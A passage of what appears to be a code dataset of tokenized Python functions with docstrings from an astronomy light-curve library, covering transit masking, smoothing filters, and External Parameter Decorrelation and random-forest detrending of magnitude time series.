provided as a str, indicates the path of the fit plot to make for a\n        trapezoidal transit model fit to the transit using the obtained period\n        and epoch.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        This is by default True for this function, since it works on fluxes only\n        at the moment.\n\n    nworkers : int\n        The number of parallel BLS period-finder workers to use.\n\n    extra_maskfrac : float\n        This is the separation (N) from in-transit points you desire, in units\n        of the transit duration. `extra_maskfrac = 0` if you just want points\n        inside transit, otherwise::\n\n            t_starts = t_Is - N*tdur, t_ends = t_IVs + N*tdur\n\n        Thus setting N=0.03 masks slightly more than the guessed transit\n        duration.\n\n    Returns\n    -------\n\n    (tmids_obsd, t_starts, t_ends) : tuple\n        The returned items are::\n\n            tmids_obsd (np.ndarray): best guess of transit midtimes in\n            lightcurve. Has length number of transits in lightcurve.\n\n            t_starts (np.ndarray): t_Is - extra_maskfrac*tdur, for t_Is transit\n            first contact point.\n\n            t_ends (np.ndarray): t_Is + extra_maskfrac*tdur, for t_Is transit\n            first contact point.", "id": "f14730:m4"}
{"signature": "def given_lc_get_out_of_transit_points(<EOL>time, flux, err_flux,<EOL>blsfit_savpath=None,<EOL>trapfit_savpath=None,<EOL>in_out_transit_savpath=None,<EOL>sigclip=None,<EOL>magsarefluxes=True,<EOL>nworkers=<NUM_LIT:1>,<EOL>extra_maskfrac=<NUM_LIT><EOL>):", "body": "tmids_obsd, t_starts, t_ends = (<EOL>given_lc_get_transit_tmids_tstarts_tends(<EOL>time, flux, err_flux, blsfit_savpath=blsfit_savpath,<EOL>trapfit_savpath=trapfit_savpath, magsarefluxes=magsarefluxes,<EOL>nworkers=nworkers, sigclip=sigclip, extra_maskfrac=extra_maskfrac<EOL>)<EOL>)<EOL>in_transit = np.zeros_like(time).astype(bool)<EOL>for t_start, t_end in zip(t_starts, t_ends):<EOL><INDENT>this_transit = ( (time > t_start) & (time < t_end) )<EOL>in_transit |= this_transit<EOL><DEDENT>out_of_transit = ~in_transit<EOL>if in_out_transit_savpath:<EOL><INDENT>_in_out_transit_plot(time, flux, in_transit, out_of_transit,<EOL>in_out_transit_savpath)<EOL><DEDENT>return time[out_of_transit], flux[out_of_transit], err_flux[out_of_transit]<EOL>", "docstring": "This gets the out-of-transit light curve points.\n\n    Relevant during iterative masking of transits for multiple planet system\n    search.\n\n    Parameters\n    ----------\n\n    time,flux,err_flux : np.array\n        The input flux time-series measurements and their associated measurement\n        errors\n\n    blsfit_savpath : str or None\n        If provided as a str, indicates the path of the fit plot to make for a\n        simple BLS model fit to the transit using the obtained period and epoch.\n\n    trapfit_savpath : str or None\n        If provided as a str, indicates the path of the fit plot to make for a\n        trapezoidal transit model fit to the transit using the obtained period\n        and epoch.\n\n    in_out_transit_savpath : str or None\n        If provided as a str, indicates the path of the plot file that will be\n        made for a plot showing the in-transit points and out-of-transit points\n        tagged separately.\n\n    sigclip : float or int or sequence of two floats/ints or None\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    magsarefluxes : bool\n        This is by default True for this function, since it works on fluxes only\n        at the moment.\n\n    nworkers : int\n        The number of parallel BLS period-finder workers to use.\n\n    extra_maskfrac : float\n        This is the separation (N) from in-transit points you desire, in units\n        of the transit duration. `extra_maskfrac = 0` if you just want points\n        inside transit, otherwise::\n\n            t_starts = t_Is - N*tdur, t_ends = t_IVs + N*tdur\n\n        Thus setting N=0.03 masks slightly more than the guessed transit\n        duration.\n\n    Returns\n    -------\n\n    (times_oot, fluxes_oot, errs_oot) : tuple of np.array\n        The `times`, `flux`, `err_flux` values from the input at the time values\n        out-of-transit are returned.", "id": "f14730:m6"}
{"signature": "def smooth_magseries_ndimage_medfilt(mags, windowsize):", "body": "return median_filter(mags, size=windowsize, mode='<STR_LIT>')<EOL>", "docstring": "This smooths the magseries with a median filter that reflects the array\n    at the boundary.\n\n    See https://docs.scipy.org/doc/scipy/reference/tutorial/ndimage.html for\n    details.\n\n    Parameters\n    ----------\n\n    mags : np.array\n        The input mags/flux time-series to smooth.\n\n    windowsize : int\n        This is a odd integer containing the smoothing window size.\n\n    Returns\n    -------\n\n    np.array\n        The smoothed mag/flux time-series array.", "id": "f14731:m0"}
{"signature": "def smooth_magseries_signal_medfilt(mags, windowsize):", "body": "return medfilt(mags, windowsize)<EOL>", "docstring": "This smooths the magseries with a simple median filter.\n\n    This function pads with zeros near the boundary, see:\n\n    https://stackoverflow.com/questions/24585706/scipy-medfilt-wrong-result\n\n    Typically this is bad.\n\n    Parameters\n    ----------\n\n    mags : np.array\n        The input mags/flux time-series to smooth.\n\n    windowsize : int\n        This is a odd integer containing the smoothing window size.\n\n    Returns\n    -------\n\n    np.array\n        The smoothed mag/flux time-series array.", "id": "f14731:m1"}
{"signature": "def smooth_magseries_gaussfilt(mags, windowsize, windowfwhm=<NUM_LIT:7>):", "body": "convkernel = Gaussian1DKernel(windowfwhm, x_size=windowsize)<EOL>smoothed = convolve(mags, convkernel, boundary='<STR_LIT>')<EOL>return smoothed<EOL>", "docstring": "This smooths the magseries with a Gaussian kernel.\n\n    Parameters\n    ----------\n\n    mags : np.array\n        The input mags/flux time-series to smooth.\n\n    windowsize : int\n        This is a odd integer containing the smoothing window size.\n\n    windowfwhm : int\n        This is an odd integer containing the FWHM of the applied Gaussian\n        window function.\n\n    Returns\n    -------\n\n    np.array\n        The smoothed mag/flux time-series array.", "id": "f14731:m2"}
{"signature": "def smooth_magseries_savgol(mags, windowsize, polyorder=<NUM_LIT:2>):", "body": "smoothed = savgol_filter(mags, windowsize, polyorder)<EOL>return smoothed<EOL>", "docstring": "This smooths the magseries with a Savitsky-Golay filter.\n\n    Parameters\n    ----------\n\n    mags : np.array\n        The input mags/flux time-series to smooth.\n\n    windowsize : int\n        This is a odd integer containing the smoothing window size.\n\n    polyorder : int\n        This is an integer containing the polynomial degree order to use when\n        generating the Savitsky-Golay filter.\n\n    Returns\n    -------\n\n    np.array\n        The smoothed mag/flux time-series array.", "id": "f14731:m3"}
{"signature": "def _old_epd_diffmags(coeff, fsv, fdv, fkv, xcc, ycc, bgv, bge, mag):", "body": "return -(coeff[<NUM_LIT:0>]*fsv**<NUM_LIT> +<EOL>coeff[<NUM_LIT:1>]*fsv +<EOL>coeff[<NUM_LIT:2>]*fdv**<NUM_LIT> +<EOL>coeff[<NUM_LIT:3>]*fdv +<EOL>coeff[<NUM_LIT:4>]*fkv**<NUM_LIT> +<EOL>coeff[<NUM_LIT:5>]*fkv +<EOL>coeff[<NUM_LIT:6>] +<EOL>coeff[<NUM_LIT:7>]*fsv*fdv +<EOL>coeff[<NUM_LIT:8>]*fsv*fkv +<EOL>coeff[<NUM_LIT:9>]*fdv*fkv +<EOL>coeff[<NUM_LIT:10>]*np.sin(<NUM_LIT:2>*np.pi*xcc) +<EOL>coeff[<NUM_LIT:11>]*np.cos(<NUM_LIT:2>*np.pi*xcc) +<EOL>coeff[<NUM_LIT:12>]*np.sin(<NUM_LIT:2>*np.pi*ycc) +<EOL>coeff[<NUM_LIT>]*np.cos(<NUM_LIT:2>*np.pi*ycc) +<EOL>coeff[<NUM_LIT>]*np.sin(<NUM_LIT:4>*np.pi*xcc) +<EOL>coeff[<NUM_LIT:15>]*np.cos(<NUM_LIT:4>*np.pi*xcc) +<EOL>coeff[<NUM_LIT:16>]*np.sin(<NUM_LIT:4>*np.pi*ycc) +<EOL>coeff[<NUM_LIT>]*np.cos(<NUM_LIT:4>*np.pi*ycc) +<EOL>coeff[<NUM_LIT>]*bgv +<EOL>coeff[<NUM_LIT>]*bge -<EOL>mag)<EOL>", "docstring": "This calculates the difference in mags after EPD coefficients are\ncalculated.\n\nfinal EPD mags = median(magseries) + epd_diffmags()", "id": "f14731:m4"}
{"signature": "def _old_epd_magseries(times, mags, errs,<EOL>fsv, fdv, fkv, xcc, ycc, bgv, bge,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_signal_medfilt,<EOL>epdsmooth_extraparams=None):", "body": "<EOL>finiteind = np.isfinite(mags)<EOL>mags_median = np.median(mags[finiteind])<EOL>mags_stdev = np.nanstd(mags)<EOL>if epdsmooth_sigclip:<EOL><INDENT>excludeind = abs(mags - mags_median) < epdsmooth_sigclip*mags_stdev<EOL>finalind = finiteind & excludeind<EOL><DEDENT>else:<EOL><INDENT>finalind = finiteind<EOL><DEDENT>final_mags = mags[finalind]<EOL>final_len = len(final_mags)<EOL>if isinstance(epdsmooth_extraparams, dict):<EOL><INDENT>smoothedmags = epdsmooth_func(final_mags,<EOL>epdsmooth_windowsize,<EOL>**epdsmooth_extraparams)<EOL><DEDENT>else:<EOL><INDENT>smoothedmags = epdsmooth_func(final_mags, epdsmooth_windowsize)<EOL><DEDENT>epdmatrix = np.c_[fsv[finalind]**<NUM_LIT>,<EOL>fsv[finalind],<EOL>fdv[finalind]**<NUM_LIT>,<EOL>fdv[finalind],<EOL>fkv[finalind]**<NUM_LIT>,<EOL>fkv[finalind],<EOL>np.ones(final_len),<EOL>fsv[finalind]*fdv[finalind],<EOL>fsv[finalind]*fkv[finalind],<EOL>fdv[finalind]*fkv[finalind],<EOL>np.sin(<NUM_LIT:2>*np.pi*xcc[finalind]),<EOL>np.cos(<NUM_LIT:2>*np.pi*xcc[finalind]),<EOL>np.sin(<NUM_LIT:2>*np.pi*ycc[finalind]),<EOL>np.cos(<NUM_LIT:2>*np.pi*ycc[finalind]),<EOL>np.sin(<NUM_LIT:4>*np.pi*xcc[finalind]),<EOL>np.cos(<NUM_LIT:4>*np.pi*xcc[finalind]),<EOL>np.sin(<NUM_LIT:4>*np.pi*ycc[finalind]),<EOL>np.cos(<NUM_LIT:4>*np.pi*ycc[finalind]),<EOL>bgv[finalind],<EOL>bge[finalind]]<EOL>try:<EOL><INDENT>coeffs, residuals, rank, singulars = lstsq(epdmatrix, smoothedmags,<EOL>rcond=None)<EOL>if DEBUG:<EOL><INDENT>print('<STR_LIT>' % (coeffs, residuals))<EOL><DEDENT>retdict = {'<STR_LIT>':times,<EOL>'<STR_LIT>':(mags_median +<EOL>_old_epd_diffmags(coeffs, fsv, fdv,<EOL>fkv, xcc, ycc, bgv, bge, mags)),<EOL>'<STR_LIT>':errs,<EOL>'<STR_LIT>':coeffs,<EOL>'<STR_LIT>':residuals}<EOL>return retdict<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>retdict = {'<STR_LIT>':times,<EOL>'<STR_LIT>':np.full_like(mags, np.nan),<EOL>'<STR_LIT>':errs,<EOL>'<STR_LIT>':coeffs,<EOL>'<STR_LIT>':residuals}<EOL>return retdict<EOL><DEDENT>", "docstring": "Detrends a magnitude series given in mag using accompanying values of S in\nfsv, D in fdv, K in fkv, x coords in xcc, y coords in ycc, background in\nbgv, and background error in bge. smooth is used to set a smoothing\nparameter for the fit function. Does EPD voodoo.", "id": "f14731:m5"}
{"signature": "def _epd_function(coeffs, fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd):", "body": "return (coeffs[<NUM_LIT:0>]*fsv*fsv +<EOL>coeffs[<NUM_LIT:1>]*fsv +<EOL>coeffs[<NUM_LIT:2>]*fdv*fdv +<EOL>coeffs[<NUM_LIT:3>]*fdv +<EOL>coeffs[<NUM_LIT:4>]*fkv*fkv +<EOL>coeffs[<NUM_LIT:5>]*fkv +<EOL>coeffs[<NUM_LIT:6>] +<EOL>coeffs[<NUM_LIT:7>]*fsv*fdv +<EOL>coeffs[<NUM_LIT:8>]*fsv*fkv +<EOL>coeffs[<NUM_LIT:9>]*fdv*fkv +<EOL>coeffs[<NUM_LIT:10>]*np.sin(<NUM_LIT:2>*pi_value*xcc) +<EOL>coeffs[<NUM_LIT:11>]*np.cos(<NUM_LIT:2>*pi_value*xcc) +<EOL>coeffs[<NUM_LIT:12>]*np.sin(<NUM_LIT:2>*pi_value*ycc) +<EOL>coeffs[<NUM_LIT>]*np.cos(<NUM_LIT:2>*pi_value*ycc) +<EOL>coeffs[<NUM_LIT>]*np.sin(<NUM_LIT:4>*pi_value*xcc) +<EOL>coeffs[<NUM_LIT:15>]*np.cos(<NUM_LIT:4>*pi_value*xcc) +<EOL>coeffs[<NUM_LIT:16>]*np.sin(<NUM_LIT:4>*pi_value*ycc) +<EOL>coeffs[<NUM_LIT>]*np.cos(<NUM_LIT:4>*pi_value*ycc) +<EOL>coeffs[<NUM_LIT>]*bgv +<EOL>coeffs[<NUM_LIT>]*bge +<EOL>coeffs[<NUM_LIT:20>]*iha +<EOL>coeffs[<NUM_LIT>]*izd)<EOL>", "docstring": "This is the EPD function to fit using a smoothed mag-series.", "id": "f14731:m6"}
{"signature": "def _epd_residual(coeffs, mags, fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd):", "body": "f = _epd_function(coeffs, fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd)<EOL>residual = mags - f<EOL>return residual<EOL>", "docstring": "This is the residual function to minimize using scipy.optimize.leastsq.", "id": "f14731:m7"}
{"signature": "def _epd_residual2(coeffs,<EOL>times, mags, errs,<EOL>fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd):", "body": "f = _epd_function(coeffs, fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd)<EOL>residual = mags - f<EOL>return residual<EOL>", "docstring": "This is the residual function to minimize using\n    scipy.optimize.least_squares.\n\n    This variant is for :py:func:`.epd_magseries_extparams`.", "id": "f14731:m8"}
{"signature": "def epd_magseries(times, mags, errs,<EOL>fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd,<EOL>magsarefluxes=False,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None):", "body": "finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[::][finind], mags[::][finind], errs[::][finind]<EOL>ffsv, ffdv, ffkv, fxcc, fycc, fbgv, fbge, fiha, fizd = (<EOL>fsv[::][finind],<EOL>fdv[::][finind],<EOL>fkv[::][finind],<EOL>xcc[::][finind],<EOL>ycc[::][finind],<EOL>bgv[::][finind],<EOL>bge[::][finind],<EOL>iha[::][finind],<EOL>izd[::][finind],<EOL>)<EOL>stimes, smags, serrs, separams = sigclip_magseries_with_extparams(<EOL>times, mags, errs,<EOL>[fsv, fdv, fkv, xcc, ycc, bgv, bge, iha, izd],<EOL>sigclip=epdsmooth_sigclip,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>sfsv, sfdv, sfkv, sxcc, sycc, sbgv, sbge, siha, sizd = separams<EOL>if isinstance(epdsmooth_extraparams, dict):<EOL><INDENT>smoothedmags = epdsmooth_func(smags,<EOL>epdsmooth_windowsize,<EOL>**epdsmooth_extraparams)<EOL><DEDENT>else:<EOL><INDENT>smoothedmags = epdsmooth_func(smags, epdsmooth_windowsize)<EOL><DEDENT>initcoeffs = np.zeros(<NUM_LIT>)<EOL>leastsqfit = leastsq(_epd_residual,<EOL>initcoeffs,<EOL>args=(smoothedmags,<EOL>sfsv, sfdv, sfkv, sxcc,<EOL>sycc, sbgv, sbge, siha, sizd),<EOL>full_output=True)<EOL>if leastsqfit[-<NUM_LIT:1>] in (<NUM_LIT:1>,<NUM_LIT:2>,<NUM_LIT:3>,<NUM_LIT:4>):<EOL><INDENT>fitcoeffs = leastsqfit[<NUM_LIT:0>]<EOL>epdfit = _epd_function(fitcoeffs,<EOL>ffsv, ffdv, ffkv, fxcc, fycc,<EOL>fbgv, fbge, fiha, fizd)<EOL>epdmags = npmedian(fmags) + fmags - epdfit<EOL>retdict = {'<STR_LIT>':ftimes,<EOL>'<STR_LIT>':epdmags,<EOL>'<STR_LIT>':ferrs,<EOL>'<STR_LIT>':fitcoeffs,<EOL>'<STR_LIT>':leastsqfit,<EOL>'<STR_LIT>':epdfit,<EOL>'<STR_LIT>':npmedian(epdmags),<EOL>'<STR_LIT>':npmedian(npabs(epdmags - npmedian(epdmags)))}<EOL>return retdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "Detrends a magnitude series using External Parameter Decorrelation.\n\n    Requires a set of external parameters similar to those present in HAT light\n    curves. At the moment, the HAT light-curve-specific external parameters are:\n\n    - S: the 'fsv' column in light curves,\n    - D: the 'fdv' column in light curves,\n    - K: the 'fkv' column in light curves,\n    - x coords: the 'xcc' column in light curves,\n    - y coords: the 'ycc' column in light curves,\n    - background value: the 'bgv' column in light curves,\n    - background error: the 'bge' column in light curves,\n    - hour angle: the 'iha' column in light curves,\n    - zenith distance: the 'izd' column in light curves\n\n    S, D, and K are defined as follows:\n\n    - S -> measure of PSF sharpness (~1/sigma^2 sosmaller S = wider PSF)\n    - D -> measure of PSF ellipticity in xy direction\n    - K -> measure of PSF ellipticity in cross direction\n\n    S, D, K are related to the PSF's variance and covariance, see eqn 30-33 in\n    A. Pal's thesis: https://arxiv.org/abs/0906.3486\n\n    NOTE: The errs are completely ignored and returned unchanged (except for\n    sigclip and finite filtering).\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to detrend.\n\n    fsv : np.array\n        Array containing the external parameter `S` of the same length as times.\n\n    fdv : np.array\n        Array containing the external parameter `D` of the same length as times.\n\n    fkv : np.array\n        Array containing the external parameter `K` of the same length as times.\n\n    xcc : np.array\n        Array containing the external parameter `x-coords` of the same length as\n        times.\n\n    ycc : np.array\n        Array containing the external parameter `y-coords` of the same length as\n        times.\n\n    bgv : np.array\n        Array containing the external parameter `background value` of the same\n        length as times.\n\n    bge : np.array\n        Array containing the external parameter `background error` of the same\n        length as times.\n\n    iha : np.array\n        Array containing the external parameter `hour angle` of the same length\n        as times.\n\n    izd : np.array\n        Array containing the external parameter `zenith distance` of the same\n        length as times.\n\n    magsarefluxes : bool\n        Set this to True if `mags` actually contains fluxes.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before fitting the EPD\n        function to it.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the following form::\n\n            {'times':the input times after non-finite elems removed,\n             'mags':the EPD detrended mag values (the EPD mags),\n             'errs':the errs after non-finite elems removed,\n             'fitcoeffs':EPD fit coefficient values,\n             'fitinfo':the full tuple returned by scipy.leastsq,\n             'fitmags':the EPD fit function evaluated at times,\n             'mags_median': this is median of the EPD mags,\n             'mags_mad': this is the MAD of EPD mags}", "id": "f14731:m9"}
{"signature": "def epd_magseries_extparams(<EOL>times,<EOL>mags,<EOL>errs,<EOL>externalparam_arrs,<EOL>initial_coeff_guess,<EOL>magsarefluxes=False,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None,<EOL>objective_func=_epd_residual2,<EOL>objective_kwargs=None,<EOL>optimizer_func=least_squares,<EOL>optimizer_kwargs=None,<EOL>):", "body": "<EOL>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[::][finind], mags[::][finind], errs[::][finind]<EOL>finalparam_arrs = []<EOL>for ep in externalparam_arrs:<EOL><INDENT>finalparam_arrs.append(ep[::][finind])<EOL><DEDENT>stimes, smags, serrs, eparams = sigclip_magseries_with_extparams(<EOL>times.copy(), mags.copy(), errs.copy(),<EOL>[x.copy() for x in externalparam_arrs],<EOL>sigclip=epdsmooth_sigclip,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>if isinstance(epdsmooth_extraparams, dict):<EOL><INDENT>smoothedmags = epdsmooth_func(smags,<EOL>epdsmooth_windowsize,<EOL>**epdsmooth_extraparams)<EOL><DEDENT>else:<EOL><INDENT>smoothedmags = epdsmooth_func(smags,<EOL>epdsmooth_windowsize)<EOL><DEDENT>initial_coeffs = initial_coeff_guess<EOL>if objective_kwargs is not None:<EOL><INDENT>obj_func = partial(objective_func, **objective_kwargs)<EOL><DEDENT>else:<EOL><INDENT>obj_func = objective_func<EOL><DEDENT>if not optimizer_kwargs:<EOL><INDENT>optimizer_kwargs = {}<EOL><DEDENT>fit_info = optimizer_func(<EOL>obj_func,<EOL>initial_coeffs,<EOL>args=(stimes, smoothedmags, serrs, *eparams),<EOL>**optimizer_kwargs<EOL>)<EOL>if fit_info.success:<EOL><INDENT>fit_coeffs = fit_info.x<EOL>epd_mags = np.median(fmags) + obj_func(fit_coeffs,<EOL>ftimes,<EOL>fmags,<EOL>ferrs,<EOL>*finalparam_arrs)<EOL>retdict = {'<STR_LIT>':ftimes,<EOL>'<STR_LIT>':epd_mags,<EOL>'<STR_LIT>':ferrs,<EOL>'<STR_LIT>':fit_coeffs,<EOL>'<STR_LIT>':fit_info,<EOL>'<STR_LIT>':npmedian(epd_mags),<EOL>'<STR_LIT>':npmedian(npabs(epd_mags - npmedian(epd_mags)))}<EOL>return retdict<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>", "docstring": "This does EPD on a mag-series with arbitrary external parameters.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to run EPD on.\n\n    externalparam_arrs : list of np.arrays\n        This is a list of ndarrays of external parameters to decorrelate\n        against. These should all be the same size as `times`, `mags`, `errs`.\n\n    initial_coeff_guess : np.array\n        An array of initial fit coefficients to pass into the objective\n        function.\n\n    epdsmooth_sigclip : float or int or sequence of two floats/ints or None\n        This specifies how to sigma-clip the input LC before smoothing it and\n        fitting the EPD function to it. The actual LC will not be sigma-clipped.\n\n        If a single float or int, a symmetric sigma-clip will be performed using\n        the number provided as the sigma-multiplier to cut out from the input\n        time-series.\n\n        If a list of two ints/floats is provided, the function will perform an\n        'asymmetric' sigma-clip. The first element in this list is the sigma\n        value to use for fainter flux/mag values; the second element in this\n        list is the sigma value to use for brighter flux/mag values. For\n        example, `sigclip=[10., 3.]`, will sigclip out greater than 10-sigma\n        dimmings and greater than 3-sigma brightenings. Here the meaning of\n        \"dimming\" and \"brightening\" is set by *physics* (not the magnitude\n        system), which is why the `magsarefluxes` kwarg must be correctly set.\n\n        If `sigclip` is None, no sigma-clipping will be performed, and the\n        time-series (with non-finite elems removed) will be passed through to\n        the output.\n\n    epdsmooth_windowsize : int\n        This is the number of LC points to smooth over to generate a smoothed\n        light curve that will be used to fit the EPD function.\n\n    epdsmooth_func : Python function\n        This sets the smoothing filter function to use. A Savitsky-Golay filter\n        is used to smooth the light curve by default. The functions that can be\n        used with this kwarg are listed in `varbase.trends`. If you want to use\n        your own function, it MUST have the following signature::\n\n                def smoothfunc(mags_array, window_size, **extraparams)\n\n        and return a numpy array of the same size as `mags_array` with the\n        smoothed time-series. Any extra params can be provided using the\n        `extraparams` dict.\n\n    epdsmooth_extraparams : dict\n        This is a dict of any extra filter params to supply to the smoothing\n        function.\n\n    objective_func : Python function\n        The function that calculates residuals between the model and the\n        smoothed mag-series. This must have the following signature::\n\n            def objective_func(fit_coeffs,\n                               times,\n                               mags,\n                               errs,\n                               *external_params,\n                               **objective_kwargs)\n\n        where `times`, `mags`, `errs` are arrays of the sigma-clipped and\n        smoothed time-series, `fit_coeffs` is an array of EPD fit coefficients,\n        `external_params` is a tuple of the passed in external parameter arrays,\n        and `objective_kwargs` is a dict of any optional kwargs to pass into the\n        objective function.\n\n        This should return the value of the residual based on evaluating the\n        model function (and any weights based on errs or times).\n\n    objective_kwargs : dict or None\n        A dict of kwargs to pass into the `objective_func` function.\n\n    optimizer_func : Python function\n        The function that minimizes the residual between the model and the\n        smoothed mag-series using the `objective_func`. This should have a\n        signature similar to one of the optimizer functions in `scipy.optimize\n        <https://docs.scipy.org/doc/scipy/reference/optimize.html>`_, i.e.::\n\n            def optimizer_func(objective_func, initial_coeffs, args=(), ...)\n\n        and return a `scipy.optimize.OptimizeResult\n        <https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.OptimizeResult.html>`_. We'll\n        rely on the ``.success`` attribute to determine if the EPD fit was\n        successful, and the ``.x`` attribute to get the values of the fit\n        coefficients.\n\n    optimizer_kwargs : dict or None\n        A dict of kwargs to pass into the `optimizer_func` function.\n\n    Returns\n    -------\n\n    dict\n        Returns a dict of the following form::\n\n            {'times':the input times after non-finite elems removed,\n             'mags':the EPD detrended mag values (the EPD mags),\n             'errs':the errs after non-finite elems removed,\n             'fitcoeffs':EPD fit coefficient values,\n             'fitinfo':the result returned by the optimizer function,\n             'mags_median': this is the median of the EPD mags,\n             'mags_mad': this is the MAD of EPD mags}", "id": "f14731:m10"}
{"signature": "def rfepd_magseries(times, mags, errs,<EOL>externalparam_arrs,<EOL>magsarefluxes=False,<EOL>epdsmooth=True,<EOL>epdsmooth_sigclip=<NUM_LIT>,<EOL>epdsmooth_windowsize=<NUM_LIT>,<EOL>epdsmooth_func=smooth_magseries_savgol,<EOL>epdsmooth_extraparams=None,<EOL>rf_subsample=<NUM_LIT:1.0>,<EOL>rf_ntrees=<NUM_LIT>,<EOL>rf_extraparams={'<STR_LIT>':'<STR_LIT>',<EOL>'<STR_LIT>':False,<EOL>'<STR_LIT>':-<NUM_LIT:1>}):", "body": "<EOL>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[::][finind], mags[::][finind], errs[::][finind]<EOL>finalparam_arrs = []<EOL>for ep in externalparam_arrs:<EOL><INDENT>finalparam_arrs.append(ep[::][finind])<EOL><DEDENT>stimes, smags, serrs, eparams = sigclip_magseries_with_extparams(<EOL>times, mags, errs,<EOL>externalparam_arrs,<EOL>sigclip=epdsmooth_sigclip,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>if epdsmooth:<EOL><INDENT>if isinstance(epdsmooth_extraparams, dict):<EOL><INDENT>smoothedmags = epdsmooth_func(smags,<EOL>epdsmooth_windowsize,<EOL>**epdsmooth_extraparams)<EOL><DEDENT>else:<EOL><INDENT>smoothedmags = epdsmooth_func(smags,<EOL>epdsmooth_windowsize)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>smoothedmags = smags<EOL><DEDENT>if isinstance(rf_extraparams, dict):<EOL><INDENT>RFR = RandomForestRegressor(n_estimators=rf_ntrees,<EOL>**rf_extraparams)<EOL><DEDENT>else:<EOL><INDENT>RFR = RandomForestRegressor(n_estimators=rf_ntrees)<EOL><DEDENT>features = np.column_stack(eparams)<EOL>if rf_subsample < <NUM_LIT:1.0>:<EOL><INDENT>featureindices = np.arange(smoothedmags.size)<EOL>training_indices = np.sort(<EOL>npr.choice(featureindices,<EOL>size=int(rf_subsample*smoothedmags.size),<EOL>replace=False)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>training_indices = np.arange(smoothedmags.size)<EOL><DEDENT>RFR.fit(features[training_indices,:], smoothedmags[training_indices])<EOL>flux_corrections = RFR.predict(np.column_stack(finalparam_arrs))<EOL>corrected_fmags = npmedian(fmags) + fmags - flux_corrections<EOL>retdict = 